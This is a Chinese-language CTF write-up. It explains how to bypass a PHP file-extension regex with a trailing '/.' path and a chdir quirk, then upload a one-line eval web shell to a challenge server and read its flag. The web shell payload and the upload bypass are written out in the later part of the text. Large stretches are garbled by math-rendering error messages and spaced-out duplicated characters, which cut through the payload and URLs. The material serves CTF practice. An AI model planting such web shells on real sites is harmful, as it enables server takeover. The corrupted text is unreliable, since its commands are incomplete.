工控云管理系统项目管理页面解析漏洞 进入之后有一个view-source
进入 http://124.126.19.106:39693/view-source.php 审查源码
第一段 参数page存在且其值不等于index.php,才会包含flag.php
第二段 首先 S E S S I O N [ ′ a d m i n ′ ] , 将 _SESSION['admin'],将 SESSION[′admin′],将con的内容写入到$file,但文件后缀名不可以为.php3/4/5/6/7/t/html
第三段 KaTeX parse error: Expected 'EOF', got '&' at position 129: …p?page=flag.php&̲id=1+9 提交之后出现id…con等于文件的内容, f i l e 为 文 件 名 , file为文件名, file为文件名,filename = “backup/”.KaTeX parse error: Can't use function '\.' in math mode at position 24: …preg_match('/.+\̲.̲ph(p[3457]?|t|t…/i’, $filename是判断.之后的值,
那么可以使用例如peak.php/.绕过,(/.表示在peak.php文件所在目录加一个新的空目录,
相当于没加,例如在一个网站后面加/.,测试后即可了解),绕过正则后,还有一个问题,
它改变了当前目录,这就是chdir搞得鬼,那,何为chdir?
chdir
(PHP 4, PHP 5, PHP 7)
chdir — 改变目录
说明
chdir( string $directory) : bool
将 PHP 的当前目录改为 directory。
参数
directory
新的当前目录
返回值
成功时返回 TRUE, 或者在失败时返回 FALSE。
错误/异常
Throws an error of level E_WARNING on failure.
范例
Example #1 chdir() 例子
以上例程的输出类似于:
/home/vincent
/home/vincent/public_html
/details/105516832
相当于,将当前所在目录后面添加一个新的目录,
这里需要注意 f i l e n a m e = " b a c k u p / " . filename = "backup/". filename="backup/".file;这一句
backup/ 是个假目录
chdir(‘uploaded’);这里改了目录
有用的是这个目录
这里的正则没看懂
看了大佬的wp
说这个是只过滤了最后一个"."后面的东西。
可以使用…/filename/.来过滤
现在尝试写个东西进去
con是文件内容
file是文件名
使用POST传参
该文件即在新添的这个目录下,根据代码所知,原本是在根目录下,
现在在根目录后面添加一个uploaded目录,KaTeX parse error: Expected 'EOF', got '&' at position 66: …p?page=flag.php&̲id=1+9 进行post提交…_POST[‘orz123’]);?>&file=…/orz.php/.
进行猜到链接 flag在html下的flag.php